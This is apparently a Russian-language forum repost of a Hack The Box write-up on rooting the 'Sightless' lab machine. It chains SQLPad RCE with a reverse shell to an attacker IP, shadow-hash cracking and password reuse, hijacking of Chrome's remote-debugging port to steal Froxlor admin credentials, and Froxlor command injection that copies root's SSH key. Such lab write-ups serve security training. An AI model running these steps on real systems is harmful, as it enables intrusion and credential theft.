• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Захватываем хост через отладочный режим Chrome и панель Froxlor

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,179
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В сегодняшнем райтапе мы проведем разведку на сайте, затем используем уязвимость в SQLPad. Получив сессию в Docker, выйдем из него через password reuse и соберем информацию с основной системы. Отладочный режим Chrome позволяет подключиться к удаленному движку и перехватить учетные данные для админки Froxlor.
Наша цель — получение прав суперпользователя на машине Sightless с учебной площадки Hack The Box. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.32 sightless.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди или Зарегистрируйся
Сканер нашел три открытых порта:
  • 21 — служба FTP;
  • 22 — служба OpenSSH 8.9p1;
  • 80 — веб‑сервер Nginx 1.18.0.
Давай посмотрим, что нам покажет веб‑сервер.

Для просмотра ссылки Войди или Зарегистрируйся

Точка входа​

На сайте можно найти список сервисов, некоторые ведут на новые домены.

Для просмотра ссылки Войди или Зарегистрируйся
SQLPad ведет на новый домен — sqlpad.sightless.htb.

Для просмотра ссылки Войди или Зарегистрируйся
Чтобы доменное имя резолвилось, надо добавить запись в файл /etc/hosts:

10.10.11.32 sightless.htb sqlpad.sightless.htb
После создания записи обновляем страницу и получаем доступ к сервису SQLPad.

Для просмотра ссылки Войди или Зарегистрируйся
SQLPad — это веб‑приложение для написания и выполнения SQL-запросов, а также визуализации результатов. Сервис поддерживает большое количество баз данных. В параметрах сервиса посмотрим версию.

Для просмотра ссылки Войди или Зарегистрируйся

Точка опоры​

Первым делом стоит проверить, есть ли для найденного софта готовые эксплоиты. Поможет в этом, как всегда, Google.

Для просмотра ссылки Войди или Зарегистрируйся
Мне удалось накопать уязвимость Для просмотра ссылки Войди или Зарегистрируйся: в SQLPad до версии 6.10.1 возможно Для просмотра ссылки Войди или Зарегистрируйся, что приводит к удаленному выполнению кода.

Для просмотра ссылки Войди или Зарегистрируйся
Воспользуемся автоматизированным Для просмотра ссылки Войди или Зарегистрируйся, которому нужно передать URL SQLPad, а также адрес и порт листенера для реверс‑шелла.

Справка: реверс-шелл​

Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
Предварительно запустим листенер Для просмотра ссылки Войди или Зарегистрируйся.

Код:
pwncat-cs -lp 4321
python3 exploit.py http://sqlpad.sightless.htb/ 10.10.16.25 4321
Для просмотра ссылки Войди или Зарегистрируйся
В окне листенера получаем сессию от имени пользователя root. По имени хоста становится ясно, что мы находимся в докер‑контейнере.

Для просмотра ссылки Войди или Зарегистрируйся

Продвижение​

Теперь нам необходимо собрать информацию. Источников информации очень много, и, чтобы не держать их все в голове, были разработаны Для просмотра ссылки Войди или Зарегистрируйся. Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование.

Смотрим вывод, но на этот раз ничего интересного не находим. Однако у нас есть root в рамках контейнера, а значит, мы можем получить хеши паролей системных пользователей Linux из файла /etc/shadow и попробовать подобрать к ним пароли.

Для просмотра ссылки Войди или Зарегистрируйся
Есть два хеша, перебирать их будем с помощью hashcat.

hashcat hashes.txt rockyou.txt
Для просмотра ссылки Войди или Зарегистрируйся
В итоге оба хеша быстро сбрутили. Проверим их на службе SSH на основном хосте.

Код:
nxc ssh 10.10.11.32 -u root -p blindside
nxc ssh 10.10.11.32 -u michael -p insaneclownposse
Для просмотра ссылки Войди или Зарегистрируйся
Подключаемся к SSH от имени пользователя michael и забираем первый флаг.

Для просмотра ссылки Войди или Зарегистрируйся

Локальное повышение привилегий​

Так как мы проникли на другой хост, снова проводим разведку с помощью linpeas.sh.

Среди процессов в системе есть запущенный Google Chrome с активной функцией удаленной отладки.

Для просмотра ссылки Войди или Зарегистрируйся
В системе прослушивается много портов для localhost. Большая часть из них — это порты для отладки в Chrome, но есть и типичный для веб‑сервисов порт 8080.

Для просмотра ссылки Войди или Зарегистрируйся
Файл с настройками веб‑сервера Apache поясняет, что на порте 8080 работает веб‑сервис Froxlor.

Для просмотра ссылки Войди или Зарегистрируйся
Froxlor — бесплатная панель управления хостингом для Linux, которая позволяет управлять несколькими веб‑сайтами на одном сервере. Но так как он доступен только для локального хоста, необходимо построить туннель с помощью SSH.

ssh michael@10.10.11.32 -L 8000:127.0.0.1:8080
Весь трафик, который мы пошлем на локальный порт 8000, будет туннелирован на порт 8080 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можно просмотреть панель через браузер.

Для просмотра ссылки Войди или Зарегистрируйся
Вернемся к отладке Chrome.


Chrome Debug​

Если у Google Chrome активна удаленная отладка, то можно с помощью другого браузера Chrome подключиться к порту отладчика и получать все данные из браузера отладчика. Это позволит как бы «подсматривать» за пользователем. Но первым делом устроим SSH-туннель для всех прослушиваемых портов.

ssh michael@10.10.11.32 -L 0.0.0.0:8080:127.0.0.1:8080 -L 0.0.0.0:47259:127.0.0.1:47259 -L 0.0.0.0:43375:127.0.0.1:43375 -L 0.0.0.0:33487:127.0.0.1:33487 -L 0.0.0.0:33060:127.0.0.1:33060 -L 0.0.0.0:3000:127.0.0.1:3000 -L 0.0.0.0:3306:127.0.0.1:3306
Туннель готов, займемся настройкой браузера. В строке поиска переходим на страницу chrome://inspect и в графе Discover network targets указываем адрес локального хоста и все туннелируемые порты.

Для просмотра ссылки Войди или Зарегистрируйся
Теперь, когда пользователь зайдет на какую‑то страницу, информация об этом будет отображена здесь же. Так, в данном случае пользователь зашел на страницу вот с таким адресом:

Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Выбираем Inspect fallback и получаем ту же страницу, что отображается у пользователя.

Для просмотра ссылки Войди или Зарегистрируйся
Среди переданных пакетов находим запрос на авторизацию, из которого получаем учетные данные администратора системы.

Для просмотра ссылки Войди или Зарегистрируйся

Froxlor RCE​

Права администратора Froxlor дают возможность настраивать системы, в том числе и указывать команды для старта или рестарта служб. Там мы сможем задать свою команду и дождаться ее выполнения в привилегированном контексте.

Перейдем к настройкам PHP → PHP-FPM versions и изменим текущую запись, указав в качестве команды рестарта php-fpm копирование SSH-ключа root в каталог пользователя.

cp /root/.ssh/id_rsa /home/michael/id_rsa
Для просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Чтобы PHP-FPM перезапустился, перейдем в настройки System → Settings → PHP-FPM, отключим модуль, сохраним настройки, а затем включим модуль и снова сохраним конфиг.

Для просмотра ссылки Войди или Зарегистрируйся
В домашнем каталоге пользователя появился ключ.

Для просмотра ссылки Войди или Зарегистрируйся

Теперь проделаем все те же действия, чтобы назначить право чтения на файл ключа. Следом подключаемся от рута и забираем последний флаг.

Для просмотра ссылки Войди или Зарегистрируйся
Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу